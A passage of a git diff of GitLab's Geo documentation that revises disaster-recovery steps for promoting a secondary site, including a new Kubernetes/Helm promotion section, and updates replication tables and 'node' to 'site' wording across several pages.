the secondary to reflect its new status as primary by removing any lines that enabled the `geo_secondary_role`: +1. Edit `/etc/gitlab/gitlab.rb` on every application and Sidekiq nodes in the secondary to reflect its new status as primary by removing any of the following lines that might be present: ```ruby - ## In pre-11.5 documentation, the role was enabled as follows. Remove this line. geo_secondary_role['enable'] = true - - ## In 11.5+ documentation, the role was enabled as follows. Remove this line. roles ['geo_secondary_role'] ``` @@ -280,9 +229,9 @@ Data that was created on the primary while the secondary was paused will be lost sudo gitlab-rake geo:set_secondary_as_primary ``` -1. Verify you can connect to the newly promoted **primary** using the URL used previously for the **secondary**. - -1. Success! The **secondary** has now been promoted to **primary**. +1. Verify you can connect to the newly-promoted **primary** using the URL used + previously for the **secondary**. +1. If successful, the **secondary** node is now promoted to the **primary** node. #### Promoting a **secondary** node with an external PostgreSQL database @@ -292,12 +241,12 @@ node with GitLab and the database on the same machine. As a result, a manual pro required: 1. Promote the replica database associated with the **secondary** site. This will - set the database to read-write: - - Amazon RDS - [Promoting a Read Replica to Be a Standalone DB Instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Promote) - - Azure Database for PostgreSQL - [Stop replication](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal#stop-replication) - - Other external PostgreSQL databases - save the script below in you secondary node, for example - `/tmp/geo_promote.sh`, and modify the connection parameters to match your - environment. Then, execute it to promote the replica: + set the database to read-write. The instructions vary depending on where your database is hosted: + - [Amazon RDS](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Promote) + - [Azure PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal#stop-replication) + - For other external PostgreSQL databases, save the following script in you + secondary node, for example `/tmp/geo_promote.sh`, and modify the connection + parameters to match your environment. Then, execute it to promote the replica: ```shell #!/bin/bash @@ -318,14 +267,11 @@ required: ``` 1. Edit `/etc/gitlab/gitlab.rb` on every node in the **secondary** site to - reflect its new status as **primary** by removing any lines that enabled the - `geo_secondary_role`: + reflect its new status as **primary** by removing any of the following + lines that might be present: ```ruby - ## In GitLab 11.4 and earlier, remove this line. geo_secondary_role['enable'] = true - - ## In GitLab 11.5 and later, remove this line. roles ['geo_secondary_role'] ``` @@ -339,10 +285,9 @@ required: sudo gitlab-rake geo:set_secondary_as_primary ``` -1. Verify you can connect to the newly promoted **primary** site using the URL used - previously for the **secondary** site. - -1. Success! The **secondary** site has now been promoted to **primary**. +1. Verify you can connect to the newly-promoted **primary** using the URL used + previously for the **secondary**. +1. If successful, the **secondary** node is now promoted to the **primary** node. ### Step 4. (Optional) Updating the primary domain DNS record @@ -443,7 +388,7 @@ and after that you also need two extra steps. sudo -i ``` -1. Edit `/etc/gitlab/gitlab.rb` +1. Edit `/etc/gitlab/gitlab.rb`: ```ruby ## Enable a Geo Primary role (if you haven't yet) @@ -468,7 +413,7 @@ and after that you also need two extra steps. (For more details about these settings you can read [Configure the primary server](../setup/database.md#step-1-configure-the-primary-server)) 1. Save the file and reconfigure GitLab for the database listen changes and - the replication slot changes to be applied. + the replication slot changes to be applied: ```shell gitlab-ctl reconfigure @@ -501,6 +446,134 @@ Now we need to make each **secondary** node listen to changes on the new **prima to [initiate the replication process](../setup/database.md#step-3-initiate-the-replication-process) again but this time for another **primary** node. All the old replication settings will be overwritten. +## Promoting a secondary Geo cluster in GitLab Cloud Native Helm Charts + +When updating a Cloud Native Geo deployment, the process for updating any node that is external to the secondary Kubernetes cluster does not differ from the non Cloud Native approach. As such, you can always defer to [Promoting a secondary Geo node in single-secondary configurations](#promoting-a-secondary-geo-node-in-single-secondary-configurations) for more information. + +The following sections assume you are using the `gitlab` namespace. If you used a different namespace when setting up your cluster, you should also replace `--namespace gitlab` with your namespace. + +WARNING: +In GitLab 13.2 and 13.3, promoting a secondary site to a primary while the +secondary is paused fails. Do not pause replication before promoting a +secondary. If the site is paused, be sure to resume before promoting. This +issue has been fixed in GitLab 13.4 and later. + +### Step 1. Permanently disable the **primary** cluster + +WARNING: +If the **primary** site goes offline, there may be data saved on the **primary** site +that has not been replicated to the **secondary** site. This data should be treated +as lost if you proceed. + +If an outage on the **primary** site happens, you should do everything possible to +avoid a split-brain situation where writes can occur in two different GitLab +instances, complicating recovery efforts. So to prepare for the failover, you +must disable the **primary** site: + +- If you have access to the **primary** Kubernetes cluster, connect to it and disable the GitLab webservice and Sidekiq pods: + + ```shell + kubectl --namespace gitlab scale deploy gitlab-geo-webservice-default --replicas=0 + kubectl --namespace gitlab scale deploy gitlab-geo-sidekiq-all-in-1-v1 --replicas=0 + ``` + +- If you do not have access to the **primary** Kubernetes cluster, take the cluster offline and + prevent it from coming back online by any means at your disposal. + Since there are many ways you may prefer to accomplish this, we will avoid a + single recommendation. You may need to: + + - Reconfigure the load balancers. + - Change DNS records (for example, point the primary DNS record to the + **secondary** site to stop usage of the **primary** site). + - Stop the virtual servers. + - Block traffic through a firewall. + - Revoke object storage permissions from the **primary** site. + - Physically disconnect a machine. + +### Step 2. Promote all **secondary** nodes external to the cluster + +WARNING: +If the secondary site [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs +a point-in-time recovery to the last known state. +Data that was created on the primary while the secondary was paused will be lost. + +1. SSH in to the database node in the **secondary** and trigger PostgreSQL to + promote to read-write: + + ```shell + sudo gitlab-ctl promote-db + ``` + + In GitLab 12.8 and earlier, see [Message: `sudo: gitlab-pg-ctl: command not found`](../replication/troubleshooting.md#message-sudo-gitlab-pg-ctl-command-not-found). + +1. Edit `/etc/gitlab/gitlab.rb` on the database node in the **secondary** site to + reflect its new status as **primary** by removing any lines that enabled the + `geo_secondary_role`: + + NOTE: + Depending on your architecture these steps will need to be run on any GitLab node that is external to the **secondary** Kubernetes cluster. + + ```ruby + ## In pre-11.5 documentation, the role was enabled as follows. Remove this line. + geo_secondary_role['enable'] = true + + ## In 11.5+ documentation, the role was enabled as follows. Remove this line. + roles ['geo_secondary_role'] + ``` + + After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) on the database node. + +### Step 3. Promote the **secondary** cluster + +1. Find the task runner pod: + + ```shell + kubectl --namespace gitlab get pods -lapp=task-runner + ``` + +1. Promote the secondary: + + ```shell + kubectl --namespace gitlab exec -ti gitlab-geo-task-runner-XXX -- gitlab-rake geo:set_secondary_as_primary + ``` + +1. Update the existing cluster configuration. + + You can retrieve the existing config with Helm: + + ```shell + helm --namespace gitlab get values gitlab-geo > gitlab.yaml + ``` + + The existing config will contain a section for Geo that should resemble: + + ```yaml + geo: + enabled: true + role: secondary + nodeName: secondary.example.com + psql: + host: geo-2.db.example.com + port: 5431 + password: + secret: geo + key: geo-postgresql-password + ``` + + To promote the **secondary** cluster to a **primary** cluster, update `role: secondary` to `role: primary`. + + You can remove the entire `psql` section if the cluster will remain as a primary site, this refers to the tracking database and will be ignored whilst the cluster is acting as a primary site. + + Update the cluster with the new config: + + ```shell + helm upgrade --install --version <current Chart version> gitlab-geo gitlab/gitlab --namespace gitlab -f gitlab.yaml + ``` + +1. Verify you can connect to the newly promoted primary using the URL used previously for the secondary. + +1. Success! The secondary has now been promoted to primary. + ## Troubleshooting This section was moved to [another location](../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node). diff --git a/doc/administration/geo/glossary.md b/doc/administration/geo/glossary.md index 98a29c27a89..1ec552326aa 100644 --- a/doc/administration/geo/glossary.md +++ b/doc/administration/geo/glossary.md @@ -6,7 +6,7 @@ type: howto --- -# Geo Glossary +# Geo Glossary **(PREMIUM SELF)** NOTE: We are updating the Geo documentation, user interface and commands to reflect these changes. Not all pages comply with diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md index 296500e35e2..f1884f297e8 100644 --- a/doc/administration/geo/index.md +++ b/doc/administration/geo/index.md @@ -54,7 +54,7 @@ Geo provides: ### Gitaly Cluster Geo should not be confused with [Gitaly Cluster](../gitaly/praefect.md). For more information about -the difference between Geo and Gitaly Cluster, see [Gitaly Cluster compared to Geo](../gitaly/praefect.md#gitaly-cluster-compared-to-geo). +the difference between Geo and Gitaly Cluster, see [Gitaly Cluster compared to Geo](../gitaly/index.md#gitaly-cluster-compared-to-geo). ## How it works @@ -281,7 +281,6 @@ WARNING: This list of limitations only reflects the latest version of GitLab. If you are using an older version, extra limitations may be in place. - Pushing directly to a **secondary** node redirects (for HTTP) or proxies (for SSH) the request to the **primary** node instead of [handling it directly](https://gitlab.com/gitlab-org/gitlab/-/issues/1381), except when using Git over HTTP with credentials embedded within the URI. For example, `https://user:password@secondary.tld`. -- Cloning, pulling, or pushing repositories that exist on the **primary** node but not on the **secondary** nodes where [selective synchronization](replication/configuration.md#selective-synchronization) does not include the project is not supported over SSH [but support is planned](https://gitlab.com/groups/gitlab-org/-/epics/2562). HTTP(S) is supported. - The **primary** node has to be online for OAuth login to happen. Existing sessions and Git are not affected. Support for the **secondary** node to use an OAuth provider independent from the primary is [being planned](https://gitlab.com/gitlab-org/gitlab/-/issues/208465). - The installation takes multiple manual steps that together can take about an hour depending on circumstances. We are working on improving this experience. See [Omnibus GitLab issue #2978](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/2978) for details. - Real-time updates of issues/merge requests (for example, via long polling) doesn't work on the **secondary** node. @@ -289,6 +288,7 @@ This list of limitations only reflects the latest version of GitLab. If you are - Object pools for forked project deduplication work only on the **primary** node, and are duplicated on the **secondary** node. - GitLab Runners cannot register with a **secondary** node. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294). - Geo **secondary** nodes can not be configured to [use high-availability configurations of PostgreSQL](https://gitlab.com/groups/gitlab-org/-/epics/2536). +- [Selective synchronization](replication/configuration.md#selective-synchronization) only limits what repositories are replicated. The entire PostgreSQL data is still replicated. Selective synchronization is not built to accomodate compliance / export control use cases. ### Limitations on replication/verification diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md index dfb460c9f46..61f99257844 100644 --- a/doc/administration/geo/replication/datatypes.md +++ b/doc/administration/geo/replication/datatypes.md @@ -33,8 +33,9 @@ verification methods: | Git | Project wiki repository | Geo with Gitaly | Gitaly Checksum | | Git | Project designs repository | Geo with Gitaly | Gitaly Checksum | | Git | Object pools for forked project deduplication | Geo with Gitaly | _Not implemented_ | -| Git | Project Snippets | Geo with Gitaly | _Not implemented_ | -| Git | Personal Snippets | Geo with Gitaly | _Not implemented_ | +| Git | Project Snippets | Geo with Gitaly | Gitaly Checksum | +| Git | Personal Snippets | Geo with Gitaly | Gitaly Checksum | +| Git | Group wiki repository | Geo with Gitaly | _Not implemented_ | | Blobs | User uploads _(file system)_ | Geo with API | _Not implemented_ | | Blobs | User uploads _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | | Blobs | LFS objects _(file system)_ | Geo with API | _Not implemented_ | @@ -51,8 +52,10 @@ verification methods: | Blobs | Versioned Terraform State _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | | Blobs | External Merge Request Diffs _(file system)_ | Geo with API | _Not implemented_ | | Blobs | External Merge Request Diffs _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | +| Blobs | Pipeline artifacts _(file system)_ | Geo with API | SHA256 checksum | +| Blobs | Pipeline artifacts _(object storage)_ | Geo with API/Managed (*2*) | SHA256 checksum | -- (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo nodes. +- (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo sites. - (*2*): Object storage replication can be performed by Geo or by your object storage provider/appliance native replication feature. @@ -68,7 +71,7 @@ performance limitations when using a remote file system). Communication is done via Gitaly's own gRPC API. There are three possible ways of synchronization: -- Using regular Git clone/fetch from one Geo node to another (with special authentication). +- Using regular Git clone/fetch from one Geo site to another (with special authentication). - Using repository snapshots (for when the first method fails or repository is corrupt). - Manual trigger from the Admin Area (a combination of both of the above). @@ -82,7 +85,7 @@ They all live in the same shard and share the same base name with a `-wiki` and for Wiki and Design Repository cases. Besides that, there are snippet repositories. They can be connected to a project or to some specific user. -Both types will be synced to a secondary node. +Both types will be synced to a secondary site. ### Blobs @@ -95,7 +98,7 @@ GitLab stores files and blobs such as Issue attachments or LFS objects into eith - A Storage Appliance that exposes an Object Storage-compatible API. When using the file system store instead of Object Storage, you need to use network mounted file systems -to run GitLab when using more than one server. +to run GitLab when using more than one node. With respect to replication and verification: @@ -113,10 +116,10 @@ as well as permissions and credentials. PostgreSQL can also hold some level of cached data like HTML rendered Markdown, cached merge-requests diff (this can also be configured to be offloaded to object storage). -We use PostgreSQL's own replication functionality to replicate data from the **primary** to **secondary** nodes. +We use PostgreSQL's own replication functionality to replicate data from the **primary** to **secondary** sites. We use Redis both as a cache store and to hold persistent data for our background jobs system. Because both -use-cases has data that are exclusive to the same Geo node, we don't replicate it between nodes. +use-cases have data that are exclusive to the same Geo site, we don't replicate it between sites. Elasticsearch is an optional database, that can enable advanced searching capabilities, like improved Advanced Search in both source-code level and user generated content in Issues / Merge-Requests and discussions. Currently it's not @@ -125,7 +128,7 @@ supported in Geo. ## Limitations on replication/verification The following table lists the GitLab features along with their replication -and verification status on a **secondary** node. +and verification status on a **secondary** site. You can keep track of the progress to implement the missing items in these epics/issues: @@ -165,40 +168,40 @@ Feature.enable(:geo_package_file_replication) WARNING: Features not on this list, or with **No** in the **Replicated** column, -are not replicated on the **secondary** node. Failing over without manually +are not replicated to a **secondary** site. Failing over without manually replicating data from those features will cause the data to be **lost**. -If you wish to use those features on a **secondary** node, or to execute a failover +If you wish to use those features on a **secondary** site, or to execute a failover successfully, you must replicate their data using some other means. -| Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Object Storage replication (see [Geo with Object Storage](object_storage.md)) | Notes | -|:---------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------|:----------------------------------------------------------|:-------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| [Application data in PostgreSQL](../../postgresql/index.md) | **Yes** (10.2) | **Yes** (10.2) | No | | -| [Project repository](../../../user/project/repository/) | **Yes** (10.2) | **Yes** (10.7) | No | | -| [Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No | -| [Group wiki repository](../../../user/group/index.md#group-wikis) | [**Yes** (13.10)](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | No | Behind feature flag `geo_group_wiki_repository_replication`, enabled by default | -| [Uploads](../../uploads.md) | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | No | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them. | -| [LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). | -| [Personal snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | | -| [Project snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | | -| [CI job artifacts (other than Job Logs)](../../../ci/pipelines/job_artifacts.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta) . | Verified only manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them | -| [Job logs](../../job_logs.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing the output between them | -| [Object pools for forked project deduplication](../../../development/git_object_deduplication.md) | **Yes** | No | No | | -| [Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. | -| [Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | | -| [Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | Via Object Storage provider if supported. Native Geo support (Beta). | | -| [Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default | -| [Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default | -| [External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default | -| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | | -| [Server-side Git hooks](../../server_hooks.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | | -| [Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | | -| [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | | -| [CI Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/ci/pipeline_artifact.rb) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Persists additional artifacts after a pipeline completes | -| [Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked on [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Note that replication of this cache is not needed for Disaster Recovery purposes because it can be recreated from external sources. | -| [Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. | +|Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Object Storage replication (see [Geo with Object Storage](object_storage.md)) | Notes | +|:--------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------|:------------------------------------------------------------------------|:------------------------------------------------------------------------------|:------| +|[Application data in PostgreSQL](../../postgresql/index.md) | **Yes** (10.2) | **Yes** (10.2) | No | | +|[Project repository](../../../user/project/repository/) | **Yes** (10.2) | **Yes** (10.7) | No | | +|[Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No | | +|[Group wiki repository](../../../user/project/wiki/index.md#group-wikis) | [**Yes** (13.10)](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | No | Behind feature flag `geo_group_wiki_repository_replication`, enabled by default. | +|[Uploads](../../uploads.md) | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | No | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. | +|[LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). | +|[Personal snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | | +|[Project snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | | +|[CI job artifacts (other than Job Logs)](../../../ci/pipelines/job_artifacts.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. | +|[CI Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/ci/pipeline_artifact.rb) | [**Yes** (13.11)](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | [**Yes** (13.11)](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | Via Object Storage provider if supported. Native Geo support (Beta). | Persists additional artifacts after a pipeline completes | +|[Job logs](../../job_logs.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. | +|[Object pools for forked project deduplication](../../../development/git_object_deduplication.md) | **Yes** | No | No | | +|[Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. | +|[Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | | +|[Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | Via Object Storage provider if supported. Native Geo support (Beta). | | +|[Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. | +|[Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default. | +|[External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default. | +|[Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | | +|[Server-side Git hooks](../../server_hooks.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | | +|[Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | | +|[GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | | +|[Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked on [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Note that replication of this cache is not needed for Disaster Recovery purposes because it can be recreated from external sources. | +|[Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. | diff --git a/doc/administration/geo/replication/disable_geo.md b/doc/administration/geo/replication/disable_geo.md index a26adcefef5..c71cf80d0c1 100644 --- a/doc/administration/geo/replication/disable_geo.md +++ b/doc/administration/geo/replication/disable_geo.md @@ -12,26 +12,26 @@ situation and you want to disable Geo momentarily, you can use these instruction Geo setup. There should be no functional difference between disabling Geo and having an active Geo setup with -no secondary Geo nodes if you remove them correctly. +no secondary Geo sites if you remove them correctly. To disable Geo, follow these steps: -1. [Remove all secondary Geo nodes](#remove-all-secondary-geo-nodes). -1. [Remove the primary node from the UI](#remove-the-primary-node-from-the-ui). +1. [Remove all secondary Geo sites](#remove-all-secondary-geo-sites). +1. [Remove the primary site from the UI](#remove-the-primary-site-from-the-ui). 1. [Remove secondary replication slots](#remove-secondary-replication-slots). 1. [Remove Geo-related configuration](#remove-geo-related-configuration). 1. [(Optional) Revert PostgreSQL settings to use a password and listen on an IP](#optional-revert-postgresql-settings-to-use-a-password-and-listen-on-an-ip). -## Remove all secondary Geo nodes +## Remove all secondary Geo sites -To disable Geo, you need to first remove all your secondary Geo nodes, which means replication will not happen -anymore on these nodes. You can follow our docs to [remove your secondary Geo nodes](remove_geo_node.md). +To disable Geo, you need to first remove all your secondary Geo sites, which means replication will not happen +anymore on these sites. You can follow our docs to [remove your secondary Geo sites](remove_geo_site.md). -If the current node that you want to keep using is a secondary node, you need to first promote it to primary. -You can use our steps on [how to promote a secondary node](../disaster_recovery/#step-3-promoting-a-secondary-node) +If the current site that you want to keep using is a secondary site, you need to first promote it to primary. +You can use our steps on [how to promote a secondary site](../disaster_recovery/#step-3-promoting-a-secondary-node) to do that. -## Remove the primary node from the UI +## Remove the primary site from the UI 1. Go to **Admin Area > Geo** (`/admin/geo/nodes`). 1. Click the **Remove** button for the **primary** node. @@ -59,7 +59,7 @@ Geo node in a PostgreSQL console (`sudo gitlab-psql`): ## Remove Geo-related configuration -1. SSH into your primary Geo node and log in as root: +1. For each node on your primary Geo site, SSH into the node and log in as root: ```shell sudo -i diff --git a/doc/administration/geo/replication/docker_registry.md b/doc/administration/geo/replication/docker_registry.md index 1669abbc52a..ea73614511f 100644 --- a/doc/administration/geo/replication/docker_registry.md +++ b/doc/administration/geo/replication/docker_registry.md @@ -5,16 +5,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Docker Registry for a secondary node **(PREMIUM SELF)** +# Docker Registry for a secondary site **(PREMIUM SELF)** You can set up a [Docker Registry](https://docs.docker.com/registry/) on your -**secondary** Geo node that mirrors the one on the **primary** Geo node. +**secondary** Geo site that mirrors the one on the **primary** Geo site. ## Storage support Docker Registry currently supports a few types of storage. If you choose a distributed storage (`azure`, `gcs`, `s3`, `swift`, or `oss`) for your Docker -Registry on the **primary** node, you can use the same storage for a **secondary** +Registry on the **primary** site, you can use the same storage for a **secondary** Docker Registry as well. For more information, read the [Load balancing considerations](https://docs.docker.com/registry/deploying/#load-balancing-considerations) when deploying the Registry, and how to set up the storage driver for the GitLab @@ -24,22 +24,22 @@ integrated [Container Registry](../../packages/container_registry.md#use-object- You can enable a storage-agnostic replication so it can be used for cloud or local storage. Whenever a new image is pushed to the -**primary** node, each **secondary** node will pull it to its own container +**primary** site, each **secondary** site will pull it to its own container repository. To configure Docker Registry replication: -1. Configure the [**primary** node](#configure-primary-node). -1. Configure the [**secondary** node](#configure-secondary-node). +1. Configure the [**primary** site](#configure-primary-site). +1. Configure the [**secondary** site](#configure-secondary-site). 1. Verify Docker Registry [replication](#verify-replication). -### Configure **primary** node +### Configure **primary** site Make sure that you have Container Registry set up and working on -the **primary** node before following the next steps. +the **primary** site before following the next steps. We need to make Docker Registry send notification events to the -**primary** node. +**primary** site. 1. SSH into your GitLab **primary** server and login as root: @@ -85,27 +85,29 @@ We need to make Docker Registry send notification events to the gitlab-ctl reconfigure ``` -### Configure **secondary** node +### Configure **secondary** site Make sure you have Container Registry set up and 